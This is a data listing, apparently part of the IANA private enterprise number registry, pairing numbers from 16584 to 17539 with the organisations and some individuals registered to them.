+16584 EVPU a.s.
+16585 ISOLUTION S.C.
+16586 Pallas Athena B.V.
+16587 Global Locate, Inc
+16588 SSI Micro, Ltd.
+16589 CNMP Networks, Inc.
+16590 Scytl Election Technologies SLU
+16591 Avtec, Inc.
+16592 Laboratory Automation Inc.
+16593 STIXO
+16594 EmbTek
+16595 RE-Design
+16596 TrendDiscovery Corporation
+16597 Landala Nät AB
+16598 Ton- und Studiotechnik GmbH
+16599 VasSol, Inc.
+16600 Marketing Resources, Inc.
+16601 Intrex
+16602 IT-Vision AG
+16603 AirMagnet, Inc.
+16604 OpenSSL Software Foundation
+16605 Radiance BBS
+16606 DELFI
+16607 Distra Pty Ltd
+16608 Tottori SANYO Electric Co.,Ltd.
+16609 Phalanyx
+16610 Telemedia Software Corp.
+16611 QNET
+16612 Zenon GmbH
+16613 Cross
+16614 Genome Sequencing Center
+16615 Entrada Software, Inc.
+16616 DiscipleMakers, Inc.
+16617 Merlin Aviation Systems Ltd.
+16618 SAITC
+16619 Bandspeed, Inc.
+16620 Bugalux Denmark A/S
+16621 Computer Care, Inc.
+16622 IntelligentAgents
+16623 Mobile Broadcasting Corporation
+16624 Planetactive GmbH
+16625 Ocado Limited
+16626 Norkom Technologies Ltd.
+16627 Chang Industry, Inc.
+16628 pdxcolo.net
+16629 Certeon Inc
+16630 IntellAgent GmbH
+16631 Bermuda Holding
+16632 Seton Hall University
+16633 Danamis Associates
+16634 VoxAge Teleinformatica Ltda
+16635 S-FRiENdS
+16636 KTROAD, Ltd.
+16637 SANYCOM Technology Co.,Ltd
+16638 AVL List GmbH
+16639 SoftSolutions!
+16640 X.net 2000 GmbH
+16641 International Solar Energy Society
+16642 The Amulet Group
+16643 EXAGO
+16644 Xtensive
+16645 San Joaquin Valley College, Inc.
+16646 R. F. Systems, Inc.
+16647 Regal CineMedia
+16648 Centos Prime
+16649 Softel Systems Pty Ltd
+16650 JSC Dalcombank
+16651 Gift of the Givers Foundation
+16652 ThunderGeek
+16653 Eltron
+16654 Electralink Ltd
+16655 Lunar Gravity Networks
+16656 m3production
+16657 ING Direct
+16658 ITA Software
+16659 Computer Science House
+16660 DMX Technologies
+16661 TACteam GmbH
+16662 CFS Global Services
+16663 Westec Holding Company Ltd
+16664 ACI Europe Ltd
+16665 Estonian Business School Group
+16666 PEC Products
+16667 Freax Sistemas
+16668 ATX Networks Inc. (formerly 'PCI Technologies Inc')
+16669 Freeland Haynes Limited
+16670 Action Technologies, Inc
+16671 American Physical Society
+16672 AirFlow Networks
+16673 Chris Mitchell
+16674 Voyage Data, Inc.
+16675 Chace Community School
+16676 Servibanca- Grupo BCP
+16677 Centre of Medical Technology
+16678 inX Services
+16679 Sta Track Enterprise Limited
+16680 Axia SuperNet Ltd
+16681 Valid Solutions
+16682 Xtrac Ltd
+16683 IIT GmbH
+16684 European Humanities University
+16685 Optinel Systems
+16686 Protego Networks, Inc.
+16687 Cyantel
+16688 InfraSec Sweden AB
+16689 Retalix
+16690 Small Electric Motors Ltd
+16691 Tekron Communication Systems Inc.
+16692 Optimal Technologies
+16693 LongReach Telecommunications Pty Ltd
+16694 Purple Sun
+16695 CYGNUS MICROSYSTEMS PRIVATE LIMITED
+16696 Decisiv Inc.
+16697 The Free Software Initiative of Japan
+16698 SCS Entriprise Systems
+16699 GYL
+16700 Southwest Airlines Co.
+16701 Carlson Hospitality Worldwide
+16702 Naval Research Laboratory
+16703 University of Westminster
+16704 Yaga, Inc.
+16705 Loyola Marymount University
+16706 NavinMail Services (India) pvt ltd
+16707 Exelixis Deutschland GmbH
+16708 Wuhan Wearnes Technology CO,.Ltd(China)
+16709 same
+16710 Screaming Genius Meta Labs
+16711 basis0.net
+16712 ILB
+16713 FH-Rosenheim
+16714 Gossamer Group, LLC
+16715 TRLabs Regina
+16716 Unisyn Software, LLC
+16717 University of Victoria
+16718 GMV S.A.
+16719 SAS IRIS Technologies
+16720 OSS Service
+16721 Chronos Technology Ltd
+16722 Methics Oy
+16723 LawBase Technologies
+16724 Fitzgerald Associates
+16725 Itech Inc.
+16726 Dowslake Microsystems Corporation
+16727 THALES AVIONICS
+16728 Wolcott Systems Group, LLC
+16729 Midling and Associates
+16730 Higher Ground Networks LLC
+16731 Industrial Medium
+16732 Guardent, Inc.
+16733 ActiveLife Ltd.
+16734 Orbital Data Corporation
+16735 TechnoCom Corporation
+16736 JavaLi Ltd.
+16737 NeoTool Development, LLC
+16738 InterVideo Inc.
+16739 CompanyName
+16740 3C Limited
+16741 Alexander Müller Informatik
+16742 topteam Services GmbH
+16743 Hessische Zentrale fuer Datenverarbeitung
+16744 BLANKOM
+16745 Alfa-Bank OJSC
+16746 springtimesoft LTD (formerly 'norbu09.org')
+16747 InterCommIT b.v.
+16748 Studentska Unie CVUT
+16749 Extensible Systems Ltd.
+16750 Gee Broadcast Systems Ltd
+16751 INSA, S.A.
+16752 4G Consulting Ltd.
+16753 dbNet Pty Ltd
+16754 MERLIN, spol. s r.o.
+16755 DanuSys, Ltd.
+16756 Juasun.net
+16757 IT SOFTWARE
+16758 Lakeridge Health Corporation
+16759 Central Missouri State University
+16760 Internet Direct Inc.
+16761 New Mexico Tech
+16762 Olson Technology, Inc.
+16763 EZ Web-Tech, Inc.
+16764 IDD Works Inc.
+16765 Schmitz-IT
+16766 SV Systems
+16767 Wonderline Rt.
+16768 Marine Interface Inc
+16769 SV Systems
+16770 Dave Dodge
+16771 7seas Solutions Ltd.
+16772 University of California, Santa Barbara
+16773 Sourwood Research
+16774 4U S.r.l.
+16775 GIP-MDS
+16776 mmit of ECNU
+16777 Oxance
+16778 Uniteam Init
+16779 More-Secure B.V.
+16780 Pathway Computing, Inc
+16781 WASP Systems Inc.
+16782 ClickCadence, LLC.
+16783 Abacus Technical Services
+16784 Olson Technology, Inc.
+16785 Medizinische Universität Wien
+16786 Eosys srl
+16787 T-Systems Nova International GmbH
+16788 Information Technology Center (KYTP), Aristotle Univ. of Thessaloniki GREECE
+16789 Berklee College of Music
+16790 Myrio Corporation
+16791 BRASCON
+16792 Zapata Engineering, P.A.
+16793 University of New England
+16794 Savant Technologies Private Ltd
+16795 MRO - TEK LIMITED
+16796 Institute of High Energy Physics ,Beijing,China
+16797 InfoThuis Nieuwe Media BV
+16798 Digital Technical Ltd., National Libaray of China
+16799 XL Global Services Ltd.
+16800 IDYLIC
+16801 Open Pricer
+16802 i2Q Ltd
+16803 Tetra Pak Information Management AB
+16804 netcadabra
+16805 Validus Medical Systems, Inc
+16806 Dot New Media Ltd
+16807 Millennium Digital Media
+16808 hambrecht.org
+16809 Payless Shoesource, Inc
+16810 Along Software Developer WorkShop
+16811 BlueTie, Inc.
+16812 UnixIron
+16813 Micronet Communications,INC.
+16814 Quinsy B.V.
+16815 GlidePath BV
+16816 Computer Plus GmbH
+16817 De La Rue International Ltd
+16818 United Media Company GmbH
+16819 Priocom Corp.
+16820 SOC
+16821 Institute for Advanced Study
+16822 Scott L. H. Yuan
+16823 Abeling-IT-Design
+16824 OTAGAKI
+16825 Network Technology
+16826 Innomedia Technologies Private Limited
+16827 Secure Systems Ltd.
+16828 IntelSoft Ltd.
+16829 DuckCorp
+16830 Fidelity Information Services
+16831 benhall.ca
+16832 Auchan
+16833 Logicworks Inc.
+16834 Hospital Billing Collection Service, Ltd. (HBCS)
+16835 Dahle Consulting
+16836 M2Studio Ltd.
+16837 Washington County
+16838 Omron Corporation
+16839 Rodion Software
+16840 Shanghai E-Rom Communication Technology Co.,Ltd
+16841 Ifeelnet
+16842 In Phase Consulting
+16843 BarcoVision
+16844 CreaCare GmbH
+16845 Electricité de France - Gaz de France
+16846 MPEC Wroclaw S.A.
+16847 Sakura Network Japan
+16848 Independent Consulting Solutions Ltd.
+16849 BeyondData.net ITS
+16850 13 Colonies Software
+16851 rheingold Institut für qualitative Markt- und Medienanalysen Gesellschaft bürgerlichen Rechts
+16852 Telinfos
+16853 barracuda digitale agentur GmbH
+16854 STI Healthcare, Inc.
+16855 Metromorph Softworks Ruhri/List GbR
+16856 Bradford Software Inc.
+16857 3 Bean
+16858 Tall Maple Systems, Inc.
+16859 Multimedia Games, Inc.
+16860 Thomas Endo
+16861 Wefi.Net IT Consulting
+16862 ICONZ Ltd
+16863 JSR.COM
+16864 {M:U} Consulting
+16865 ZIM Technologies International Inc.
+16866 Software North, Inc.
+16867 TIBCO Software, Inc. DSPG (formerly 'DataSynapse, Inc.')
+16868 Conseil Internet & Logiciels Libres, Jérôme Alet
+16869 ROMmon Ltd
+16870 Banco do Estado do Rio Grande do Sul,S.A.
+16871 Tchibo Frisch-Röst-Kaffee GmbH
+16872 Collaborative Commerce Engines
+16873 future gate group
+16874 HiTRUST Incorporated
+16875 Computer Plus GmbH
+16876 KungFoo Coders
+16877 All Media Banking BV
+16878 Oldham Metropolitan Borough Council
+16879 SCA Transforest AB
+16880 zehome.com
+16881 emni GmbH
+16882 OpenEAI Software Foundation
+16883 GKB Technology Co., Ltd
+16884 (IPL) Instituto Politécnico de Lisboa
+16885 Nortel Networks
+16886 Revelstone Technology
+16887 IPLocks Inc.
+16888 Neutelligent.com
+16889 MYIT.BIZ, Inc.
+16890 Technisys
+16891 Meta GmbH
+16892 Signalisation Ver-Mac, Inc.
+16893 Enterprise Rent-A-Car
+16894 Cotelligent, Inc
+16895 J.P. Evans, Inc.
+16896 SUNGARD Front Office Solutions
+16897 sdata - C. Splittgerber Datentechnik
+16898 Venture Industry International Corp.
+16899 Corvigo, Inc.
+16900 a metareal material
+16901 Mojo Networks, Inc. (formerly 'Wibhu Technologies Pvt. Ltd.')
+16902 APPLETZ CO., LTD.
+16903 TeleCats BV
+16904 Aylesford Newsprint Limited
+16905 Ginger Alliance Ltd.
+16906 Enertron LLC
+16907 Truman State University
+16908 Binary Ape
+16909 Newberg Public Schools
+16910 chinaunionpay
+16911 General Wireless Scandinavia AB
+16912 Bundesanstalt Statistik Oesterreich
+16913 Open Network Solutions, Inc
+16914 nuit.ca
+16915 The Hal Lewis Group, Inc.
+16916 ma-planete
+16917 Seecago
+16918 AEIIE - ARISE
+16919 Augsburger Computer Forum e.V.
+16920 ARTE G.E.I.E
+16921 HWACOM SYSTEMS INC.
+16922 ville d'Echirolles
+16923 RTV Slovenija, Javni zavod
+16924 British Sky Broadcasting Ltd
+16925 IGA-PEGASE
+16926 Systemberatung Axel Dunkel GmbH
+16927 MLB Associates
+16928 Mark South West
+16929 University of California, Merced
+16930 CAM Security and Connections B.V.
+16931 Sandwell Technologies, Inc.
+16932 DICOM Group
+16933 ALC Computertechnik GmbH
+16934 Marian Bracinik
+16935 Espoo-Vantaa Institute of Technology
+16936 Databay AG
+16937 e-Wriedt
+16938 Sensational AG
+16939 Addix Internet Services GmbH
+16940 CryptoGram SA
+16941 Oakley, Inc.
+16942 TRX
+16943 Overture Networks, Inc. (formerly 'Ceterus Networks')
+16944 Seven Blades
+16945 Grupo de Usuarios de Linux de Canarias
+16946 Litchfield Communications, Inc.
+16947 Program Line
+16948 RHODITECH
+16949 Mobifon S.A.
+16950 AOM Active Online Marketing GmbH
+16951 COGEMA LA HAGUE
+16952 Eisodus Networks Pvt. Ltd
+16953 TECCO Software Entwicklung AG
+16954 Software Poetry, Inc.
+16955 modulus-systems GmbH & Co. KG
+16956 InboxCop, Inc.
+16957 fionet.com - Internet & Services
+16958 Instituto Tecnológico y de Energías Renovables, S.A.
+16959 Cipher Security Services, Inc.
+16960 Darron Nesbitt
+16961 Vaisala
+16962 Seven Levels Consultants AB
+16963 Intuwave Ltd.
+16964 nonap
+16965 AUNA TLC
+16966 Kiff Analytical, LLC
+16967 University Texas Medical Branch Galveston
+16968 Magnifire
+16969 eyebits studios
+16970 Coublis Ltd
+16971 Lemche Net
+16972 DSL Terminal Remote Management Alliance
+16973 CITS Group Inc.
+16974 WORLDMINGO
+16975 Horst Thiele - Maschinenbau - Hydraulische Geraete GmbH
+16976 S.I.D.E. Resources & Development
+16977 Zwi1zek Bankow Polskich
+16978 Medical Insight A/S
+16979 M2 Ingenierie et Conseil SARL
+16980 Jacob & Sundstrom, Inc.
+16981 ITG Inc.
+16982 Masaryk University
+16983 CINECA
+16984 Exacore Consolidated Systems
+16985 Global Technology Co.,Ltd.
+16986 FACTOR SPE
+16987 Esker SA
+16988 The Manufacturers Life Insurance Company
+16989 KiSP, Inc.
+16990 Print Inc.
+16991 Starsoft
+16992 The Halifax Herald Limited
+16993 Norsec
+16994 Key Circle
+16995 elego Software Solutions GmbH
+16996 Aboriginal Sports and Recreation Association of BC
+16997 Innovative Consultants, LLC
+16998 Intoto Inc.
+16999 Cortinovis S.A.
+17000 Centre de Telecomunicacions i TI de la Generalitat de Catalunya
+17001 Act Technology Co.,Ltd.
+17002 Copsey Communications Projects
+17003 University Of Dundee
+17004 Israel InterUniversity Computation Center
+17005 Mangrove Systems, Inc.
+17006 Spherion
+17007 Cool IT
+17008 Clever Age SARL
+17009 imove
+17010 hopecom optic communication Ltd.
+17011 Metadata Systems, Inc.
+17012 eCareme Technologies, Inc.
+17013 Guaranty Technology Corp.
+17014 Izumi Cyber Networks Inc.
+17015 manage.it GmbH & Co. KG
+17016 Info Jure Knowledge Ltd.
+17017 CyberTech de Colombia Ltd.
+17018 Silikone.com
+17019 Heinrich Berndes Haushaltstechnik GmbH&Co. KG
+17020 IRSN
+17021 University of Central Florida
+17022 Avista Labs Inc.
+17023 Apptera
+17024 Jackson Local School District
+17025 Rether Networks Inc.
+17026 dotNSF, Inc.
+17027 YAAO
+17028 MarketXS.com BV
+17029 baumer it-services (formerly '0mode')
+17030 Velveo
+17031 Cluster Labs GmbH
+17032 City of Helsinki
+17033 Medical University of South Carolina
+17034 NHN Corp.
+17035 Cerberian Inc
+17036 Alisys Software S.L.
+17037 Brannstroms Elektronik AB
+17038 Federal State Unitary Enterprise "Production Company 'Start'"
+17039 Vontu, Inc
+17040 Integrits Corporation
+17041 TeleDomani, Inc.
+17042 Consultores Globales Online S.L.
+17043 PC-Repair Aalestrup
+17044 Red Fig Ltd
+17045 Network Technologies Group
+17046 ErrorNet
+17047 Eurofresh.inc
+17048 Ashland Inc.
+17049 Eurospider Information Technology A.G.
+17050 MediaSonic
+17051 Last Minute Network Limited
+17052 A Plus Marketing
+17053 www.slavel.ru
+17054 Severoceska plynarenska, a.s.
+17055 MoshJahan Ltd
+17056 Fusion Network Services Corp.
+17057 Victor-Sierra
+17058 National Radio Astronomy Observatory
+17059 Cookingwise
+17060 zetein.net
+17061 Shanghai 4U Network Tech.Co.,Ltd.
+17062 ArielServices
+17063 Lightship Telecom, LLC
+17064 CSX Technologies
+17065 Zions Bancorporation
+17066 Collaboratech, Inc.
+17067 Padimax Limited
+17068 Jcast Networks Corp.
+17069 Leucotron Equipamentos Ltda.
+17070 Hi De Ho
+17071 Prime Electronics & Satellitics Inc.
+17072 Transgate
+17073 Universitaetsklinikum Freiburg
+17074 Senatsverwaltung fuer Gesundheit, Soziales und Verbraucherschutz Berlin
+17075 Edwin L. Cox School of Business
+17076 EXCELLENCE High Tech - Georgia LTD.
+17077 Girit Projects Inc.
+17078 Innovation Software Group, LLC
+17079 AppIQ, Inc.
+17080 BeTrained, Baumgartner KEG
+17081 M.F. van Loon
+17082 Oregon University System
+17083 COMPART MEDICAL SYSTEMS
+17084 HON HAI PRECISION IND. CO., LTD.
+17085 Beijing BU Telecom Tech co.,Ltd
+17086 BIK Aschpurwis + Behrens GmbH
+17087 GrECo International AG
+17088 sichuan wisesoft Ltd.
+17089 Universität Paderborn, Zentrum IT-Dienste
+17090 Packetizer, Inc.
+17091 Ciphire Labs
+17092 MediaRing Limited
+17093 Ellemedia Technologies Ltd.
+17094 Blueslice Networks Inc.
+17095 Microchip Technology Inc.
+17096 Invesco Institutional, Fixed Income Group
+17097 Weltek Technologies Co., Ltd.
+17098 Innomenta GmbH & Co. KG
+17099 TellusTech Ltd.
+17100 Fabasoft R&D GmbH
+17101 InternetNu
+17102 Bororos
+17103 Biznet Information Systems and Consultancy
+17104 1-800 Communications, Inc.
+17105 Insignia Solutions
+17106 GlobNIX
+17107 The Konopka Corporation
+17108 Vinci Systems, Inc.
+17109 Chotaro Co.
+17110 Institut de Recherche pour le Développement (IRD)
+17111 JMSE
+17112 Axstone Co., Ltd.
+17113 EvoNet Computer Network Evolution GmbH
+17114 Keyrus S.A.
+17115 D-APP-X Corporation
+17116 GMA COMMUNICATION MANUFACTURING & MARKETING 1991 LTD.
+17117 Advantage Sales & Marketing
+17118 Byram Healthcare Centers, Inc.
+17119 OctetString, Inc
+17120 Team Cool Networks
+17121 Geronimo Group Inc.
+17122 Apogent Technologies Inc.
+17123 Tavata Software Corporation
+17124 Psycat Group
+17125 Eze Castle Integration, Inc.
+17126 Nova Engineering, Inc.
+17127 Kilowatt Networking, Inc.
+17128 mg2.org
+17129 Zaclick Co.,Ltd
+17130 antiquity books
+17131 Rectifier Technologies Pacific Pty Ltd
+17132 Shanghai Dare Opto-electronic Communication Co.,Ltd
+17133 ILWOO DATA & TECHNOLOGY Co.,LTD
+17134 Good Health Network, Inc
+17135 Raaijmakers
+17136 PLG AG
+17137 GradSoft Ltd.
+17138 INHOLLAND Universities
+17139 Internet Gold
+17140 Versatel Nederland B.V.
+17141 Incenti S.A.
+17142 Static Bytes
+17143 Georg-Hewegh-Oberschule
+17144 State University of New York at Stony Brook
+17145 Rusch Consultancy B.V.
+17146 UVHC
+17147 Eastern Illinois University
+17148 iBurst Forum
+17149 Lodestar Technology Ltd
+17150 simatika
+17151 COGNICA Ltd
+17152 creamen
+17153 University of Connecticut
+17154 Kittredge Archery Co. Inc.
+17155 VoiceAge Corporation
+17156 Zone Labs, Inc
+17157 Chengdu Runwang Tchnology Co. LTD
+17158 Laurasia Computing
+17159 Henri Maire SA
+17160 Lund University Hospital
+17161 Covisint LLC
+17162 Airversal Technology Inc
+17163 Riverbed Technology, Inc.
+17164 Callcast, Inc.
+17165 Advantest R&D Center, Inc.
+17166 Louisiana State University and A&M College
+17167 Daotec Ltd.
+17168 Century 21 Mike Bowman, Inc.
+17169 Diablotin
+17170 Université Henri Poincaré - Nancy 1 -
+17171 Qindel
+17172 Melco International Development Ltd.
+17173 Squeeky Clean
+17174 Iridium Systems (Hangzhou) Limited
+17175 shanghai letel communications Co., Ltd
+17176 Perm State Pedagogical University
+17177 TIS Inc.
+17178 VERA Autonoom Provinciebedrijf
+17179 Diaz
+17180 Altibase
+17181 Dantek Computer Systems, Inc.
+17182 CCC Data Oy
+17183 Yang Mei Technology Co., LTD.
+17184 ProLAN
+17185 Richemont Group
+17186 MEDIA LINKS Co.,LTD.
+17187 Onaro Inc.
+17188 GigaClue
+17189 Ingrafted Software Inc.
+17190 Fulcrum Microsystems, Inc.
+17191 Universidad de La Laguna
+17192 Emprisa Networks
+17193 dbc Digital Broadcast Consulting GmbH
+17194 Whoopy Engineering Ltd.
+17195 Securesoft Systems, Inc.
+17196 CacheLogic Ltd.
+17197 Relicore, Inc.
+17198 martinskafte.dk
+17199 Ministry of Fisheries - NZ
+17200 Optus Internet Engineering
+17201 Digital Item
+17202 NEC informatec systems,ltd.
+17203 Pekarek Handelsges.m.b.H
+17204 IIM CORPORATION
+17205 ARPENT ENTERPRISES
+17206 Open Stock Company «Oskol Electrometallurgical Kombinat»
+17207 Cloverleaf Communications Inc.
+17208 Fa Nea Sjöholm
+17209 Strategic Systems Consultants Ltd.
+17210 GZS Gesellschaft fuer Zahlungssysteme mbH
+17211 Potronics sp. z o.o.
+17212 AWETA b.v.
+17213 DAY-S.COM
+17214 Network Designers Ltd.
+17215 Institute of Linguistic Studies
+17216 Triplanet Partners LLC
+17217 University of Richmond
+17218 Union Internationale des Chemins de Fer
+17219 NsTEL Inc.
+17220 eBenX, Inc.
+17221 CHBE UBC
+17222 Sierhuis Digitale Diensten
+17223 Cena Salvatore
+17224 Newbury Networks
+17225 ispi of Lincoln, Inc
+17226 BC5 Technologies Inc.
+17227 DMP Initiatives
+17228 Kommando
+17229 Miracle Group, Ltd.
+17230 UniqMinds Ltd.
+17231 Otto UK
+17232 PANNOCOM Ltd.
+17233 ICODEX Software AG
+17234 ET Enterprise Technologies srl
+17235 2e Systems GmbH
+17236 Shout Telecoms Limited
+17237 S.P.E.Sistemi e Progetti Elettronici s.a.s. di P.Prandini & C
+17238 NsTEL Inc.
+17239 Plan B Email Services, LLC
+17240 Spread Teleinformática Ltda
+17241 Federal Trade Commission
+17242 Mission Vi
+17243 World Access Canada Inc.
+17244 Briteace Enterprise Pte Ltd
+17245 Genentech, Inc.
+17246 FreeSNMP
+17247 SBC Internet Services
+17248 Gemstone Communications, Inc
+17249 VAN Company Ltd.
+17250 Yore Elektronik Yayimcilik A.S.
+17251 WeRMSPoWKe
+17252 MS Global Consulting GmbH
+17253 Arcada Polytechnic
+17254 Goad.US
+17255 Vidyatel Ltd.
+17256 CL-NET s.r.o.
+17257 Initial Security Limited
+17258 DRQ Sp. z o.o.
+17259 Manex
+17260 Numinatek Co.
+17261 RJWare, Inc
+17262 Devonshire Group, Inc
+17263 Alpes Team
+17264 Mount Clemens General Hospital
+17265 Escape Tech Ltd (formerly 'Escape OE')
+17266 California Internet Inc
+17267 Hitachi Computer Products (Europe) S.A.S
+17268 ABB Process Analytics
+17269 Hansa JSC
+17270 Comcast Corporation
+17271 Sunshine Village Ski & Snowboard Resort
+17272 akashic Inc.
+17273 The Rabbithole Org.
+17274 Nevis Networks Inc.
+17275 MicroBit
+17276 Colegio de Registradores de la Propiedad y Mercantiles de España
+17277 TUI Nederland N.V.
+17278 IZB-Soft
+17279 Stowe Holdings (Pty) Ltd
+17280 Fadesa Inmobiliaria
+17281 Luther College
+17282 Abhai Inc.
+17283 YACME S.r.l.
+17284 UNICOM UNIversal computer COMmunication, spol. s r.o.
+17285 DOBS
+17286 Steuerungs- & Netzwerktechnik
+17287 Pacific Life
+17288 VicSuper
+17289 LinuxHQ
+17290 Key Digital Solutions Ltd.
+17291 Mithra Biodindustry Co., Ltd
+17292 NXN Software AG
+17293 DavidRLee
+17294 Agile Teamwork, Inc.
+17295 WestNoble
+17296 Fourth Corner Systems
+17297 Sine Nomine Associates
+17298 BlueWater Technologies Inc
+17299 vMoksha Technologies Private Limited
+17300 Axxius b.v.
+17301 AllServe Automatisering B.V.
+17302 Iconology Ltd
+17303 Paramount Pictures
+17304 CA Technologies Inc.
+17305 Aeras Networks
+17306 Armenian e-Science Foundation (ArmeSFo)
+17307 Tribunal Regional do Trabalho da 15ª Região
+17308 Digimedworx
+17309 Saudi Arabian Monetary Agency (SAMA)
+17310 Vanquish International Ltd.
+17311 Myllykoski Corp.
+17312 Shizuoka System Technology
+17313 Ratiodata GmbH
+17314 Soltim
+17315 EtherAddress.com
+17316 Peoria Christian School
+17317 MassiveEgo
+17318 Media5 Corporation (formerly 'M5T Centre d'Excellence en Telecom Inc.')
+17319 JC Computing
+17320 J&M Crowther Ltd.
+17321 Calpine
+17322 SOFTLAND
+17323 Datatekniska Byrån
+17324 YDI Wireless Inc.
+17325 Babastik
+17326 AC Camerfirma, S.A.
+17327 City of Northglenn
+17328 Imenta Sweden AB
+17329 School of Information Technology, Universiti Utara Malaysia
+17330 Zetta Systems, Inc.
+17331 30San Information System Co.,Ltd.
+17332 Pete Attkins Engineering Ltd
+17333 Critical Networks, Inc.
+17334 DN-Solutions
+17335 UPM-Kymmene Corporation
+17336 Bank of Russia
+17337 Solace Systems, Inc.
+17338 IBS Technology & Services
+17339 SAFA GALENICA, S.A.
+17340 Microtest Ltd
+17341 Fonner Consulting
+17342 Danske Gymnasieelevers Sammenslutning
+17343 Edula
+17344 OFSET
+17345 fusionOne, Inc.
+17346 AlienForceIT
+17347 Hilti Corporation
+17348 USTC E-Business Technology Company
+17349 DELTA N.V.
+17350 OnRelay Ltd
+17351 Simmons College
+17352 FrancisScott Communications LLC
+17353 VisSim AS
+17354 Zone Trading Partners
+17355 Cirrus Multimedia Limited
+17356 RiskMetrics Group Inc.
+17357 Derks.IT
+17358 Fulford Consulting Ltd
+17359 net9
+17360 T&J Computer Systems
+17361 Infoscience Corporation
+17362 Asia Pacific Bioinformatics Network (APBioNet)
+17363 SANYO DDP-BU
+17364 SITELI
+17365 SISSA - ISAS Scuola Internazionale Superiore di Studi Avanzati
+17366 Torbay Council
+17367 Grep AS
+17368 PIFAUT
+17369 sustainable development networking programme
+17370 OnRelay Ltd
+17371 4DotNet oHG
+17372 iFoni Cellular Services
+17373 IT Watchdogs, Inc.
+17374 Clearfield Knowledge Solutions Ltd.
+17375 Image Analysis,Inc.
+17376 TIM San Marino S.p.A.
+17377 aesys spa
+17378 Interlink Software Services Ltd
+17379 University of Applied Sciences Wolfenbuettel
+17380 Spazio ZeroUno SpA
+17381 The Kinkaid School
+17382 VAI bv
+17383 EASY SOFTWARE
+17384 Contemporary Control Systems, Inc.
+17385 Appriss, Inc
+17386 iCanSP, inc
+17387 Frontier Financial
+17388 Allen Systems Group INC
+17389 Core NAP, L.P.
+17390 Family Video
+17391 NOSE Applied Intelligence AG
+17392 Abucco Technologies Inc.
+17393 Allen Systems Group INC
+17394 BRAINBOW EDV-Beratung GmbH
+17395 Beijing Founder Electronic Co.,Ltd.
+17396 Sapura Advance Systems Sdn Bhd
+17397 BVE des Kantons Bern
+17398 HBhard, spol. s.r.o.
+17399 AKiT Ltd.
+17400 tourisline AG
+17401 Lands' End, Inc.
+17402 Sevis Systems, Inc.
+17403 Oklahoma Department of Career and Technology Education
+17404 WebundCo GmbH & CoKG
+17405 Telecommunications Industry Association TR8dot5
+17406 HITS
+17407 OmegaWare Systems Ltd.
+17408 HICOM COMUNICAÇÃO INTEGRADA LTDA.
+17409 National Standardization Committee of Radio & Television
+17410 SOPRA GROUP
+17411 newsky software
+17412 GateConnect Technologies GmbH
+17413 Ministerio del Interior - España
+17414 vzw CDS
+17415 PUCRS
+17416 Root IT
+17417 Portiva Corporation
+17418 Mahanaxar Networks
+17419 Lincoln Investment Planning, Inc
+17420 DigiPower Manufacturing Inc.
+17421 Hôpital de la ville d'Esch-sur-Alzette
+17422 Real Enterprise Solutions Development B.V.
+17423 Multidata Gesellschaft für Datentechnik und Informatik mbH
+17424 Chart Pilot Ltd.
+17425 ilink Kommunikationssysteme GmbH
+17426 Sega.com, Inc.
+17427 ABYZ Informática LTDA
+17428 WebDesign BK
+17429 Michael Telecom AG
+17430 TCL NETWORK EQUIPMENT (SHENZEHN) CO., LTD.
+17431 shenzhen SDG Information Co.,Ltd. STEC Telecom Branch
+17432 Georgia Perimeter College
+17433 pieas educational institute
+17434 THERALYS
+17435 BEAC
+17436 Worlight International
+17437 Insurance Corporation of British Columbia
+17438 Novannet, LLC
+17439 Panasonic Avionics Corporation (formerly 'Matsushita Avionics Systems Corporation')
+17440 Omnipod, Inc.
+17441 Unholy.org
+17442 Iter8 Inc.
+17443 Gerd Koslowski
+17444 wrevak.net
+17445 FEAS v.o.f.
+17446 Stefan Drees
+17447 STATE MACHINE
+17448 Fabrice Co.
+17449 KLS Air Express Inc.
+17450 WFW.org
+17451 Unassigned
+17452 Visy Industries Holdings Pty Ltd
+17453 Billion Electric Co., Ltd.
+17454 Integuru Inc.
+17455 K-BEST TECHNOLOGY INC.
+17456 Jigsaw Systems
+17457 UTi Worldwide
+17458 Connect Internet Solutions PTY LTD
+17459 Mibtree Ltd
+17460 Revelant Technologies
+17461 Pryde Systems and Software
+17462 Akamai Technologies, Inc.
+17463 Demarc Security, Inc.
+17464 O1 Communications
+17465 TruSystems, Inc
+17466 Wooju Communications CO.,LTD.
+17467 Gamer's Valhalla Pty. Ltd.
+17468 ICONAG AG
+17469 BioWisdom Ltd.
+17470 Strålfors AB
+17471 Actona Technologies, Inc
+17472 Tetraplex Ltd.
+17473 Telluce Corporation
+17474 CRM-Informatik GmbH
+17475 Genetec Information Systems
+17476 V-ONE Corporation
+17477 Trailblazer Systems Inc.
+17478 Nexadesic, Inc.
+17479 One Unified
+17480 Choice Communications
+17481 Logic Fusion
+17482 Ogmios.ca
+17483 Hong Kong School Net Ltd.
+17484 Adyoron Intelligent Systems Ltd.
+17485 HierWeb
+17486 EDS Deutschland GmbH
+17487 Manchester Airport
+17488 GENERAL TOUCH TECHNOLOGY CO.,LTD
+17489 Curtis Consulting LLC
+17490 DM Trucking
+17491 Barix AG
+17492 Northco.net
+17493 Halliburton Company
+17494 Matthias Rath, Inc.
+17495 Gardel Software
+17496 Canadian Broadcasting Corporation
+17497 Tallinn School No. 21
+17498 Kommunale Datenverarbeitung Oldenburg
+17499 Packetsurge
+17500 Georgia Gwinnett College
+17501 Drake University
+17502 Newfield Automation
+17503 TechForge Software
+17504 Security Wizard
+17505 Wamin Optocomm Mfg.corporation
+17506 Eulerian Technologies, Sarl
+17507 omnidata
+17508 Sotrange Transportes Rodoviários Ltda.
+17509 Versatel Networks Inc.
+17510 GoldenHope
+17511 XtremeX Corporation
+17512 Flinders University
+17513 RVA
+17514 FDF, Frivilligt Drenge- og Pige-Forbund
+17515 BNSF Railway Inc.
+17516 Nighthawk Radiology Services
+17517 Clementi Software
+17518 Comba Telecom System(Guang Zhou) Ltd.
+17519 InteliTrac, Inc.
+17520 Easton Technologies Inc.
+17521 RealEast Networks
+17522 Ozitem
+17523 FiberLan GmbH
+17524 Ferrari electroni AG
+17525 Amsterdam Internet Exchange B.V.
+17526 symentis GmbH
+17527 FORMWARE GmbH
+17528 KMS Internet Solution Providers Ltd
+17529 FeldTech
+17530 Chernigov State Technological University
+17531 Henrico County Public Schools
+17532 BSI Informatica Ltda
+17533 Association KAZAR
+17534 Optelecom Inc.
+17535 EGT Inc.
+17536 Telenity, Inc.
+17537 Florence Public School District One
+17538 Village Grille Family Diner
+17539 MXC Software
